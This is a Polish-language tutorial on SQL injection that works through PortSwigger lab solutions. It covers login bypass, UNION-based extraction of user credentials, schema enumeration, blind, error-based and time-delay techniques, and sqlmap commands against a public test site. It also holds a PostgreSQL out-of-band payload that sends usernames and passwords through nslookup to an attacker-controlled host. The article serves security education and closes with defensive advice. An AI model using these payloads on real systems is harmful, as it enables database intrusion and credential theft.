Kompendium wiedzy - SQL injection
czyli o wydobywaniu informacji z baz danych słów kilka
Bazy danych są wykorzystywane w bardzo wielu miejscach. Wykorzystują je między innymi aplikacje webowe, z których korzystamy każdego dnia. Adresy e-mail, nazwy użytkowników, hasła, informacje o produktach - wszystkie te informacje muszą być gdzieś przechowywane. Popularnym wyborem są relacyjne bazy danych, z którymi aplikacje komunikują się i pobierają z nich dane korzystając z języka SQL, często umieszczając w zapytaniu informacje otrzymane w postaci parametrów żądania GET lub POST czy też zawartych w nagłówku Cookie. Może to stwarzać bardzo poważną lukę bezpieczeństwa, która pozwala na wydobycie z bazy wrażliwych informacji takich jak loginy i hasła użytkowników danego serwisu.
SPOILER ALERT: Poniższy artykuł pokazuje podstawy przeprowadzania ataków SQL injection (wstrzykiwania SQL) w oparciu w dużej mierze o zadania laboratoryjne dostępne na platformie PortSwigger Web Security Academy. Jako przykłady zostały w nim przedstawione rozwiązania lub wskazówki do części tych zadań.
Czym jest SQL?
SQL (Structured Query Language) jest językiem zapytań pozwalającym na integrację z relacyjnymi bazami danych. Warto się z nim zapoznać przed przystąpieniem do dalszej lektury tego artykułu.
Język SQL wykorzystywny jest przez systemy zarządzania bazą danych (DBMS), między innymi:
Na czym polega SQL injection?
Z wstrzykiwaniem SQL mamy do czynienia w momencie, gdy aplikacja nie sprawdza danych wejściowych, które wykorzystuje przy wykonaniu zapytania do bazy danych lub robi to niepoprawnie, co pozwala na modyfikację jego oryginalnej treści zapytania poprzez dodanie do niego własnego kodu SQL.
Przykład. Załóżmy, że mamy formularz logowania, który przyjmuje dane: nazwa użytkownika i hasło, a następnie wysyła je serwerowi za pomocą metody POST. Dane są odbierane przez aplikację, która następnie wykonuje zapytanie do bazy danych, aby sprawdzić, czy dane logowania są poprawne. Aplikacja napisana w języku PHP może je sformułować mniej więcej tak:
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";Wartości zmiennych $username i $password są podstawiane do łańcucha znaków reprezentującego kwerendę. Dla przykładowych danych username=admin oraz password=admin będzie to:
SELECT * FROM users WHERE username='admin' AND password='admin'Jednak co się stanie, gdy ktoś zdecyduje się wpisać w polu username sam znak ' (apostrof)?
Zapytanie przyjmie formę:
SELECT * FROM users WHERE username=''' AND password='admin'Dodanie apostrofu spowoduje błąd składni języka SQL, ponieważ w tym języku dane tekstowe zapisuje się właśnie między apostrofami. Ten jeden znak zakończy tekst porównywany z wartością w kolumnie username, a apostrof będący oryginalnie w tej kwerendzie będzie oznaczał rozpoczęcie nowego tekstu. Serwer WWW w tym wypadku może zwrócić odpowiedź z kodem 500 Internal server error informując nas o niepowodzeniu wykonania akcji wykonanej po jego stronie.
Aby uniknąć błędu aplikacji, na końcu wstrzykiwanego kodu możemy dodać pojedynczy znak bądź grupę znaków oznaczających komentarz. W przypadku języka SQL często będą to dwa myślniki oraz spacja.
Wtedy zapytanie z iniekcją będzie wyglądać tak:
SELECT * FROM users WHERE username='' -- ' AND password='admin'To co znajduje się za myślnikami jest traktowane jako komentarz i ignorowane przez interpreter języka SQL. Po wyeliminowanie błędu składniowego kwerenda jest poprawna.
Warto jeszcze po spacji po tych dwóch myślnikach dać trzeci, ponieważ aplikacja może ucinać białe znaki na końcu. Przykładowo MySQL wymaga spacji po dwóch myślnikach, więc jej usunięcie spowodowałoby błąd.
SELECT * FROM users WHERE username='' -- -' AND password='admin'Podstawowy atak SQLi
Najbardziej podstawowym atakiem SQL injection jest wykorzystanie warunku z OR (lub). Jeśli we wrażliwym na atak parametrze podamy ' OR 1=1 -- - zapytanie przyjmie formę:
SELECT * FROM users WHERE username='' OR 1=1 -- -' AND password='admin'W tym momencie, SQL sprawdza czy chociaż jeden z warunków został spełniony: albo username jest puste, albo jeden jest równe jeden. Drugi warunek jest zawsze prawdziwy, przez co zawsze baza zwróci nam jakąkolwiek odpowiedź. W przypadku podatnego panelu logowania zostaniemy zalogowani jako losowy użytkownik znajdujący się w tabeli users.
Przykład z zadania laboratoryjnego z PortSwigger Web Security Academy:
Lab: SQL injection vulnerability allowing login bypass
W obu polach formularza wpisałem admin' or 1=1 -- -. Po kliknięciu przycisku Log in zostajemy przekierowani na stronę:
Lab: SQL injection vulnerability allowing login bypass
Pomyślnie zostaliśmy zalogowani na konto użytkownika administrator.
Podatność nie musi tkwić wyłącznie w formularzach na stronie, które przekazują wpisane dane serwerowi za pomocą metody POST. Możemy je znaleźć także w parametrach żądania HTTP korzystającego z metody GET, które występują w URL:
Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
W tym przypadku nie otrzymaliśmy wprawdzie dostępu do czyjegoś konta, ale wyświetliły się nam produkty, których z poziomu graficznego interfejsu strony nie można było na niej znaleźć.
UNION based SQL injection
Wstrzyknięcie oparte o operator UNION pozwala na połączenie dwóch zapytań SELECT do dwóch różnych tabel w jeden wynik, np.:
SELECT name FROM cats UNION SELECT name FROM dogsW powyższym przykładzie wynikiem będą imiona zarówno kotów jak i psów.
Załóżmy, że strona ma bazę książek, z której aplikacja pobiera ich tytuł i autora filtrując po danej kategorii:
SELECT title, author FROM books WHERE category='$category'Możemy zastosować payload: ' union select username, password from users -- -, a kwerenda przyjmie postać:
SELECT title, author FROM books WHERE category='' UNION SELECT username, password FROM users -- -'Dzięki temu oprócz informacji o książkach dostaniemy nazwy i hasła użytkowników serwisu.
W języku SQL wielkość liter w słowach kluczowych nie ma znaczenia, tzn. możemy pisać zarówno
SELECTjak iselect.
Możemy też wykluczyć z wyniku zapytania informacje o książkach dodając spójnik logiczny and wraz z warunkiem, który zawsze jest nieprawdziwy:
SELECT title, author FROM books WHERE category='' AND 0=1 UNION SELECT username, password FROM users -- -'Dzięki temu w wyniku otrzymamy wyłącznie nazwy użytkowników i ich (przeważnie zahaszowane) hasła.
Aby ten typ ataku powiódł się, muszą zostać spełnione dwa warunki:
- w obu zapytaniach
selectmusi być zwracana taka sama liczba kolumn, - typy danych w odpowiadających sobie kolumnach muszą być zgodne.
Znajdowanie ilości kolumn zwracanych przez zapytanie
Przed wydobyciem jakichkolwiek danych musimy odgadnąć, ile kolumn zwraca zapytanie do bazy danych ze względu na to, jak działa klauzula UNION SELECT. Można to zrobić na dwa sposoby.
Pierwszy z nich polega na podawaniu w ramach wyżej wymienionej klauzuli określonej liczby wartości NULL:
SELECT title, author FROM books WHERE category='' UNION SELECT NULL, NULL -- -'Za mała lub za duża liczba tych wartości spowoduje błąd, dzięki czemu możemy stwierdzić, jaka jest ich odpowiednia liczba, a co za tym idzie - jaka jest liczba kolumn zwracanych przez oryginalną kwerendę. Należy sprawdzać po kolei, jaka liczba wartości null nie spowoduje błędu bazy danych.
Lab: SQL injection UNION attack, determining the number of columns returned by the query
Lab: SQL injection UNION attack, determining the number of columns returned by the query
W tym miejscu warto zwrócić uwagę na różnice między systemami bazodanowymi. W bazach Oracle przy wyrażeniu SELECT wymagane jest użycie klauzuli FROM. W bazach danych Oracle istnieje również specjalna tabela DUAL. Można ją wykorzystać, jeśli nasze zapytanie (tak jak w powyższym przykładzie) nie pobiera żadnych konkretnych kolumn, na przykład:
SELECT SUBSTR('ala ma kota', 1, 3) FROM dualInną metodą pozyskiwania informacji o ilości zwracanych kolumn jest użycie słów kluczowych ORDER BY. Rozważmy zapytanie z payloadem ' ORDER BY 1 -- -:
SELECT title, author FROM books WHERE category='' ORDER BY 1 -- -'Spowoduje to posortowanie wyników w oparciu o pierwszą kolumnę. Możemy podawać numery 1, 2, 3 itd. Jeśli numer kolumny, po której będziemy chcieli w tej kwerendzie sortować, będzie większy od ilości zwracanych kolumn to wystąpi błąd. Zaletą tej metody jest to, że możemy w naszych zgadywaniach wykorzystać wyszukiwanie binarne, aby przyspieszyć proces znajdowania liczby, która nas interesuje.
Lab: SQL injection UNION attack, determining the number of columns returned by the query
Znajdowanie kolumny zawierającej tekst
Znając już liczbę zwracanych z bazy kolumn można sprawdzać, jakie typy danych przyjmują poszczególne z nich. Najczęściej będzie nas interesować tekst, dlatego warto przed próbą wydobycia zawartości bazy sprawdzić, w których kolumnach można go umieścić, ponieważ nie wszystkie mogą akceptować tekst lub nie wszystkie są zwracane do przeglądarki, przez co nie są dla nas użyteczne.
Możemy wykorzystać payload z pierwszej metody znajdywania ilości kolumn, tylko zamieniać po kolei wartości NULL na wartość tekstową i sprawdzać kiedy występuje błąd, a kiedy nie, na przykład ' UNION SELECT 'abc', NULL -- -.
SELECT title, author FROM books WHERE category='' UNION SELECT 'abc', NULL -- -'Jeśli nie wystąpi, to znaczy, że typy danych są zgodne.
Rozważmy inny przykład zapytania:
SELECT price, title, author FROM books WHERE category='$category'Kolumna price zawiera wartość liczbową. W przypadku wstrzyknięcia kodu ' UNION SELECT 'abc', NULL, NULL -- - wystąpi błąd bazy danych związany z użyciem niezgodnych typów, jednak gdy wstrzykniemy ' UNION SELECT NULL, 'abc', NULL -- - aplikacja zwróci wynik zawierający tekst abc.
Spójrzmy na przykład z innego zadania na PortSwigger Web Security Academy. Po krótkim zapoznaniu się ze stroną, można zauważyć, że kiedy podamy apostrof w parametrze category wystąpi błąd, co oznacza że w tym miejscu można wstrzyknąć kod SQL. Wykorzystując jedną z opisanych wyżej metod można szybko określić, ile kolumn jest zwracane przez bazę danych. Mając to wszystko, można przystąpić do szukania miejsca, w którym można umieścić tekst.
Lab: SQL injection UNION attack, finding a column containing text
Próbując zawrzeć tekst w pierwszej kolumnie następuje błąd serwera, sprawdźmy więc kolejne pole:
Lab: SQL injection UNION attack, finding a column containing text
Jak widać, nasz tekst został zwrócony wraz z innymi danymi z bazy.
Określanie wersji bazy danych
Wiedząc już, w którym miejscu można wyświetlać tekst, możemy przejść do określenia typu i wersji bazy danych.
Sposoby różnią się między sobą w zależności od systemu bazodanowego:
select @@version- dla MySQL i Microsoftselect version()- dla PostgreSQLselect banner from v$version- dla Oracle
Metodą prób i błędów możemy sprawdzić, która z tych możliwości zadziała:
Lab: SQL injection UNION attack, finding a column containing text
Jeśli mamy do czynienia z bazą Oracle, można to stwierdzić już przed znalezieniem informacji o wersji bazy, jeśli przy zapytaniach z klauzulą
union select(np. przy określaniu ilości zwracanych kolumn) należało użyć wyrażeniafrom dual.
Odkrywanie nazw tabel w bazie
Poczyniwszy niezbędne przygotowania, możemy wreszcie przystąpić do wyciągania właściwej zawartości bazy danych, zaczynając od określenia, jakie w ogóle tabele w niej występują. W systemach zarządzania bazami istnieją tabele, które są tworzone domyślnie przez system i przechowują informacje o zawartości baz danych w nim dostępnych. Tabela zawierająca informacje o innych tabelach w systemach takich jak MySQL i PostgreSQL nazywa się information_schema.tables, natomiast w Oracle będzie to all_tables.
Lab: SQL injection attack, listing the database contents on non-Oracle databases
Zastosowałem omawiany wcześniej filtr AND 0=1, dzięki czemu wyświetlają się tylko wyniki, które mnie interesują, ponieważ wykluczyłem całą zawartość zwracaną przez oryginalne zapytanie. Część tabel, których nazwy zostały przeze mnie wykryte, jest tworzona domyślnie na potrzeby systemu bazodanowego podczas jego instalacji i niekoniecznie powinny zostać przedmiotem zainteresowania. Warto szukać nazw tabel, które utworzył administrator, bo to one będą zawierać informacje o testowanym przez nas serwisie.
Znajdowanie nazw kolumn w tabelach
Mając już upatrzoną jedną lub więcej tabel, które chcemy przeszukać, musimy sprawdzić, jak nazywają się występujące w nich kolumny. Do tego celu ponownie posłużą nam specjalne tabele z informacjami o bazie:
SELECT column_name FROM all_tab_columns WHERE table_name='$table_name'- dla baz OracleSELECT column_name FROM information_schema.columns WHERE table_name='$table_name'- dla innych popularnych systemów
Lab: SQL injection attack, listing the database contents on Oracle
Wisienka na torcie
Zwieńczeniem całego procesu jest pobranie właściwych rekordów, o które właśnie przez ten cały czas nam przecież chodzi. Mamy już wybrane za cel tabele i ich kolumny zawarte, wiemy ile kolumn musi zwrócić nasza kwerenda. Teraz wystarczy tylko wykonać zwykłe zapytanie z użyciem UNION SELECT.
Lab: SQL injection attack, listing the database contents on Oracle
Łączenie kilku kolumn w jedną
Na tym etapie możemy napotkać pewien problem. Co jeśli kwerenda zwraca tylko jedną kolumnę, a my chcemy pobrać dwie? Albo jeśli tylko jedna kolumna pozwala na tekst? Na szczęście ten problem ma proste rozwiązanie - wystarczy skleić ze sobą wartości dwóch kolumn tworząc jeden ciąg znaków, który można umieścić w tej jednej kolumnie. W zależności od bazy danych możemy użyć operatora ||, + lub funkcji CONCAT.
Lab: SQL injection UNION attack, retrieving multiple values in a single column
Blind SQL injection
Niestety życie nie zawsze jest takie proste. Nie w każdym przypadku możemy tak swobodnie przeglądać zawartości bazy danych korzystając z interfejsu graficznego jakim jest strona internetowa serwisu. Może zdarzyć się przypadek, gdzie pomimo występowania podatności pozwalającej wstrzyknąć kod SQL, wynik zapytania nie jest zwracany do naszej przeglądarki. Wtedy musimy działać na ślepo i zgadywać, co znajduje się w owej bazie.
Niektóre techniki tego rodzaju ataków można określić jako boolean-blind, ponieważ stosuje się w nich zapytania typu prawda lub fałsz. To tak, jakby próbować poznać imię drugiej osoby, zadając jej pytania o każdą kolejną literę sprawdzając wszystkie litery alfabetu po kolei, a ta osoba odpowiadałaby tak albo nie. Jest to trudniejsze i bardziej pracochłonne niż wykorzystanie instrukcji UNION. Zajmuje więcej czasu i wymaga skorzystania z pomocy narzędzia takiego jak Burp Intruder lub napisania exploita - skryptu czy programu - ponieważ realizacja tego zadania ręcznie byłaby morderczą katorgą.
Pisanie skryptów i obsługę Burp Intrudera zostawiam Czytelnikom do samodzielnego wykonania.
Zgadywanie treści na podstawie zachowania aplikacji
Możliwe, że w przypadku pozytywnego wykonania kwerendy do bazy, strona zwraca treść, pewien ciąg znaków lub inny rodzaj informacji świadczący o sukcesie. Możemy to wykorzystać i wysyłać zapytania z wyrażeniami boolowskimi, na podstawie których będziemy próbować wykorzystać lukę.
Zrzut ekranu z programu Burp Suite - Lab: Blind SQL injection with conditional responses
Zrzut ekranu z programu Burp Suite - Lab: Blind SQL injection with conditional responses
W tym zadaniu podatność tkwiła w nagłówku Cookie. Stosując proste zapytania proof of concept możemy zauważyć, że w zależności od tego, czy warunek jest prawdziwy bądź fałszywy, na stronie wyświetla się napis Welcome back. Teraz litera po literze, znak po znaku jesteśmy w stanie odgadywać zawartość bazy danych.
Zrzut ekranu z programu Burp Suite - Lab: Blind SQL injection with conditional responses
Zrzut ekranu z programu Burp Suite - Lab: Blind SQL injection with conditional responses
Warunkowe wywoływanie błędu
Nie każda aplikacja zwraca magiczny ciąg znaków w odpowiedzi na udane zapytania. Kolejną rzeczą do wypróbowania jest wywołanie jakiegokolwiek błędu. Wtedy naszą odpowiedzią tak będzie jego wystąpienie, a odpowiedzią nie będzie jego brak. Sposób wykonania ataku nieco różni się od poprzedniego, ale jego logika pozostaje niezmienna. Wciąż bowiem zadajemy pytania typu prawda lub fałsz.
Pomocna przy tworzeniu odpowiednich payloadów może być ściąga do SQL injection, która znajduje się na stronie PortSwigger Web Security Academy.
Zrzut ekranu z programu Burp Suite - Lab: Blind SQL injection with conditional errors
Warunek substr(password, 1, 1)='0' nie został spełniony, więc nie ma żadnego błędu na stronie. Oznacza to, że musimy próbować dalej.
Zrzut ekranu z programu Burp Suite - Lab: Blind SQL injection with conditional errors
Tym razem, warunek substr(password, 1, 1)='8' został spełniony i została wykonana próba dzielenia przez zero, co spowodowało błąd aplikacji. Stąd wiemy, że pierwszy znak w haśle to cyfra 8. W ten sam sposób można znaleźć pozostałe znajdujące się w nim znaki.
Wstrzykiwanie SQL na podstawie opisu błędu
Niekiedy nie musimy wszystkiego zgadywać znak po znaku. Czasami wywołanie błędu bazy danych w przypadku nieostrożnej konfiguracji serwera może powodować, że na stronie zostanie wyświetlony wiele mówiący komunikat. Możemy spróbować wykorzystać to, aby wykraść zawartość bazy.
Zrzut ekranu z programu Burp Suite - Lab: Visible error-based SQL injection
Mając wiedzę o tym gdzie wystąpił błąd, jak wygląda kwerenda i jakie dane zostały w niej umieszczone, możemy wywołać taki błąd, aby w komunikacie o nim zostały zawarte dane, które mamy zamiar wydobyć.
Zrzut ekranu z programu Burp Suite - Lab: Visible error-based SQL injection
Zgadywanie przez opóźnianie - time delays
Bywają takie sytuacje, że aplikacja nie poinformuje nas o wystąpieniu błędu w bazie danych w żaden sposób. Wracamy do pytań prawda lub fałsz, ale tym razem naszym wyznacznikiem udanego testu będzie czas, w jakim serwer zwróci odpowiedź. Spróbujemy wywołać opóźnienie (time delay) tej odpowiedzi, na podstawie czego określimy, czy warunek został spełniony.
Przykładowy payload dla PostgreSQL:
select case when (substr(password, 1, 1)='a') then pg_sleep(10) else pg_sleep(0) end from users where username = 'administratorJeśli warunek substr(password, 1, 1)='a' będzie prawdziwy, działanie aplikacji zostanie zatrzymane na 10 sekund. To opóźnienie to odpowiedź tak na pytanie: czy pierwsza litera hasła to “a”?
Ten sposób jest najbardziej czasochłonny ze wszystkich, ale znaki w danym rekordzie sprawdzamy niezależnie od siebie, więc możemy je odgadywać równocześnie stosując w naszym exploicie mechanizm wielowątkowości, przyspieszając proces pozyskiwania danych z bazy. Stosowanie wątków można oczywiście zastosować też do innych metod boolean-blind omawianych wcześniej.
Out-of-Band Application Security Testing (OAST)
Czasem wszystkie powyższe metody zawodzą. Nie jesteśmy w stanie wywołać błędu, a próby spowalniania aplikacji nie udają się. Ostatnią deską ratunku może okazać się wysłanie wykradzionych informacji na zewnętrzny serwer będący pod kontrolą atakującego przy pomocy np. zapytań DNS.
Sposób wykonania tego typu ataku różni się drastycznie w przypadku różnych systemów zarządzania bazą danych. W PostgreSQL wykonanie zwykłego zapytania DNS wygląda tak:
copy (select '') to program 'nslookup oast.my-external-server.com';Wydobycie danych tą metodą jest jednak trudniejsze i wymaga napisania trochę kodu:
create or replace function f() returns void as $$
declare p text; c text;
begin
select into p (select username || '-' || password from users);
c := 'copy (select '''') to program ''nslookup '||p||'.oast.my-external-server.com''';
execute c;
end;
$$ language plpgsql security definer;
select f();Ten oraz inne payloady tego typu można znaleźć w ściądze do SQL injection ze strony PortSwigger Web Security Academy.
Tworzymy funkcję, w której deklarujemy dwie zmienne tekstowe p oraz c. W pierwszej z nich umieszczamy pobrane z bazy dane, które planujemy wysłać, natomiast zmiennej c przypisujemy polecenie wykonujące zapytanie DNS. Zawartość zmiennej p doklejamy jako subdomenę do nazwy naszego odpowiednio skonfigurowanego serwera, a następnie wykonujemy to polecenie. Po zadeklarowaniu funkcji wywołujemy ją i w rezultacie wysyłamy zawartość bazy danych do zewnętrznego serwera.
Narzędzie sqlmap
Umiejętność ręcznego wstrzykiwania SQL jest istotna, aby zrozumieć jak ten atak działa, jednak nic nie stoi na przeszkodzie, żeby po nabraniu wprawy ułatwić sobie życie korzystając z narzędzi automatyzujących to zadanie.
Bardzo popularnym narzędziem służącym do przeprowadzania SQL injection jest sqlmap napisany w języku Python. Jest ono domyślnie zainstalowane w systemie Kali Linux.
Testowanie aplikacji testphp.vulnweb.com z wykorzystaniem narzędzia sqlmap
Z jego pomocą można sprawdzić dostępne bazy danych w testowanym systemie:
$ sqlmap -u http://testphp.vulnweb.com/search.php?test=query --batch --dbs
Testowanie aplikacji testphp.vulnweb.com z wykorzystaniem narzędzia sqlmap
Jak również listować tabele i kolumny:
$ sqlmap -u http://testphp.vulnweb.com/search.php?test=query --batch --tables -D acuart
Testowanie aplikacji testphp.vulnweb.com z wykorzystaniem narzędzia sqlmap
$ sqlmap -u http://testphp.vulnweb.com/search.php?test=query --batch --columns -T artists
Testowanie aplikacji testphp.vulnweb.com z wykorzystaniem narzędzia sqlmap
I wyświetlać wartości konkretnych rekordów:
$ sqlmap -u http://testphp.vulnweb.com/search.php?test=query --batch -T artists -C aname --dump
Testowanie aplikacji testphp.vulnweb.com z wykorzystaniem narzędzia sqlmap
Warto wzbogacić swój arsenał etycznego hakera w sqlmap, aby ułatwić i przyspieszyć swoją pracę. Dobrze jest jednak wiedzieć, jak dokładnie wyglądają różnie rodzaje wykorzystywania luk typu SQL injection, jeśli konieczne byłoby ręczne dostrojenie parametrów/narzędzie.
Podsumowanie
Wstrzykiwanie kodu SQL to groźna podatność, którą można wykorzystać na wiele mniej lub bardziej karkołomnych sposobów. Bazy danych są apetycznym kąskiem dla cyberprzestępców, ponieważ często zawierają wrażliwe informacje takie jak dane osobowe, które mogą sprzedać lub użyć w celu dalszego atakowania danej organizacji bądź użytkowników serwisu. Należy pamiętać o sprawdzaniu danych wejściowych oraz pilnować, aby błędy bazy nie były widoczne na stronie. Na szczęście współczesne frameworki służące do tworzenia zaplecza aplikacji webowych, takie jak Django, mają wbudowane zabezpieczenia przed SQL injection. Należy pilnować, aby wersja tego oprogramowania była jak najbardziej aktualna na wypadek, gdyby komuś udało się obejść te zabezpieczenia w jego starszej wersji.
Materiały
Strony, którymi się wspierałem i inne pomocne linki:
- PortSwigger Web Security Academy - SQL injection
- PortSwigger Web Security Academy - Examining the database in SQL injection attacks
- PortSwigger Web Security Academy - SQL injection cheat sheet
- sekurak - Czym jest SQL injection?
- OWASP - SQL Injection
- NetworkChuck - SQL Injections are scary!! (hacking tutorial for beginners)
- W3Schools - SQL Tutorial
- sqlmap User’s manual
- Acunetix - Types of SQL Injection (SQLi)
- CrowdStrike - SQL Injection (SQLi): How to Protect against SQL Injection Attacks
- Brandon Perry, Gray Hat C#. Język C# w kontroli i łamaniu zabezpieczeń (rozdział 2)